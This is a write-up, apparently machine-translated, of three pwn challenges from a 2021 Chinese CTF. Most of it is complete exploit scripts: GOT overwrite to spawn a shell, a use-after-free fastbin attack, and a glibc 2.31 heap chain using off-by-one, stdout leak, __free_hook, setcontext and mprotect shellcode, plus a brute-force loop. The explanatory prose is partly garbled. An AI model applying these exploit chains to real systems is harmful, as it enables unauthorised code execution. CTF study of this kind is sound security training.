Longyuan Battle Epidemic 2021 Network Security Competition-pwn-wp
Today, there happened to be a conflict with the game. It was more than eight o'clock when I returned home. It took about an hour to do three pwn questions, all of which are regular ones. Question 4 has been busy for half a day and has not made any progress. Consider writing the wp of the first three questions first. Here is a summary of the solution ideas for each question:
- bbbaby: title as its name
- Modify_u first stack_chk_fail@got by puts@plt As long as you can continue executing the main function
- Leak libc address by overflow of main function stack frame
- modify atoi@got For system, execute get_int, enter/bin/sh to get the shell
- Magic: You don't even need to give libc this question. The title has added a lot of useless branch codes and needs some time to analyze. In fact, the title is very simple.
- There is an idle 0x230, which should be the IO_assigned by fopen FILE structure. Just five 0x70 can be assigned. Also fake the header of a fastbin chunk of 0x70.
- Write and modify fd to a fake chunk using the edit section
- Assign to fake chunk
- Leaking flag with edit
- off by one and setcontext+61 under h3apclass:libc-2.31
- Make a heap of wind water, get an unsorted bin chunk, and make an overlapped chunk
- Blast 4 bit, probability 1/16. Assign to _using tcache bin s IO_2_1_stdout_ Above the structure, leak the libc address
- Leak the heap address the same way. You can also use u directly Free_ Area around hook, so you don't need to leak heap addresses
- Modify_u with tcache bin attack free_hook is mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]
- Finally, mprotect is executed with setcontext+61, and then the shellcode that executes cat('/flag') is skipped to read to flag
bbbaby
checksec
Vulnerability Points
Write at any address:
Stack overflow for main function:
Since there is a canary, you need to change u stack_chk_fail@got Contents
exp
#!/usr/bin/python3 from pwncli import * cli_script() p:tube = gift['io'] elf:ELF = gift['elf'] libc: ELF = gift['libc'] if gift['remote']: libc = ELF("./libc-2.23.so") def write_any(addr, content): p.sendlineafter("your choice\n", "0") p.sendlineafter("address:\n", str(addr)) p.sendafter("content:\n", content) def stack_overflow(data): p.sendlineafter("your choice\n", "1") p.sendlineafter("size:\n", str(0x1000)) p.sendafter("content:\n", data) # change stack_chk write_any(0x601020, p64(elf.plt.puts)) payload = flat({ 0x118:[ 0x0000000000400a03, elf.got.puts, elf.plt.puts, 0x40086c, 0x4007c7 ] }) stack_overflow(payload) p.sendlineafter("your choice\n", "2") libc_base = recv_libc_addr(p, offset=libc.sym.puts) log_libc_base_addr(libc_base) libc.address = libc_base p.sendlineafter("address:\n", str(elf.got.atoi)) p.sendafter("content:\n", p64(libc.sym.system)) p.sendline("/bin/sh\x00") get_flag_when_get_shell(p) p.interactive()
Remote call:
Magic
checksec
The libc version given is 2.23
Vulnerability Points
UAF in two places:
exp
#!/usr/bin/python3 from pwncli import * cli_script() p:tube = gift['io'] elf:ELF = gift['elf'] libc: ELF = gift['libc'] def add(idx): p.sendlineafter("Input your choice: \n", "1\n\n") p.sendlineafter("Input the idx\n", str(idx)+"\n\n") p.recvuntil("Search finished\n") def edit(idx, data): p.sendlineafter("Input your choice: \n", "2\n\n") p.sendlineafter("Input the idx\n", str(idx)+"\n\n") p.sendafter("Input the Magic\n", data) p.recvuntil("Magic> ") m = p.recvuntil(" <Magic") info(f"Get msg: {m}") return m def dele(idx): p.sendlineafter("Input your choice: \n", "3\n\n") p.sendlineafter("Input the idx\n", str(idx)+"\n\n") p.recvuntil("remove the Magic\n") # alloc add(0) add(0) add(0) add(0) add(1) # prepare for a fake 0x70 chunk edit(1, flat([0, 0, 0, 0x71])) dele(1) dele(0) # partial overwrite edit(0, "\xe0") add(0) add(0) # leak flag edit(0, "a"*0x50) p.interactive()
Remote call:
h3apclass
checksec
Protect it all on, then google gives it a go, libc version 2.31-0ubuntu9.2_amd64.
Vulnerability Points
exp
#!/usr/bin/python3 from pwncli import * cli_script() p:tube = gift['io'] elf:ELF = gift['elf'] libc: ELF = gift['libc'] context.update(timeout=3) def add(idx, size, data="deadbeef"): p.sendlineafter("4:Drop homework\n", "1") p.sendlineafter("Which homework?\n", str(idx)) p.sendlineafter("size:\n", str(size)) p.sendafter("content:\n", data) def edit(idx, data): p.sendlineafter("4:Drop homework\n", "3") p.sendlineafter("Which homework?\n", str(idx)) p.sendafter("content:\n", data) def dele(idx): p.sendlineafter("4:Drop homework\n", "4") p.sendlineafter("Which homework?\n", str(idx)) cat_flag = asm(shellcraft.amd64.linux.cat("/flag")) # forge 0x500 chunk add(0, 0x18, 0x18*"a") add(1, 0xf8) add(2, 0xf8) add(3, 0xf8) add(4, 0xf8) add(5, 0xf8) add(6, 0x18) # free space dele(6) dele(5) dele(4) dele(3) dele(2) # chaneg size edit(0, 0x18*"a" + "\x01\x05") dele(1) # consume 0x100 add(1, 0x70) add(2, 0x70) log_ex(f"Now try to attack stdout...") if gift['debug']: payload = p16_ex(get_current_libcbase_addr() + libc.sym['_IO_2_1_stdout_']) else: payload = p16_ex(0x86a0) add(3, 0x70, payload) # free space dele(1) dele(2) add(1, 0xf8) # leak libc addr add(2, 0xf8, flat([ 0xfffffbad1887, 0, 0, 0, "\x00" ])) libc_base = recv_libc_addr(p) - 0x1eb980 log_libc_base_addr(libc_base) libc.address = libc_base dele(1) dele(0) # leak heap addr edit(3, p64(libc.sym['_IO_2_1_stdout_'])[:6]) add(0, 0x70) add(1, 0x70, flat([ 0xfbad1887, 0, 0, 0, libc.sym['__curbrk']-8,libc.sym['__curbrk']+8 ])) m = p.recvn(16) heap_base = u64_ex(m[8:]) - 0x21000 log_heap_base_addr(heap_base) dele(0) # change __free_hook # 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; edit(3, p64(libc.sym['__free_hook'])[:6]) add(0, 0x70, cat_flag) add(4, 0x70, p64_ex(0x0000000000154930 + libc_base)) # read flag cur_heap = heap_base + 0x1450 payload = flat({ 8: cur_heap, 0x20: libc.sym['setcontext']+61, 0x30: heap_base + 0x13d0, 0xa0: cur_heap+0x30, # rsp 0xa8: libc.sym['mprotect'], 0x68: heap_base, 0x70: 0x4000, 0x88: 7 }) add(5, 0xe8, payload) dele(5) m = p.recvline_contains("flag") if b"flag" in m: log_ex_highlight(f"Get flag: {m}") sleep(20) p.close()
Then add a shell script and run a little while to get the flag.
#!/bin/bash for i in {1..10} do python3 exp.py re ./H3apClass -p 25373 -nl done
Remote call:
References and References
1,My Blog
2,Ctf Wiki
3,pwncli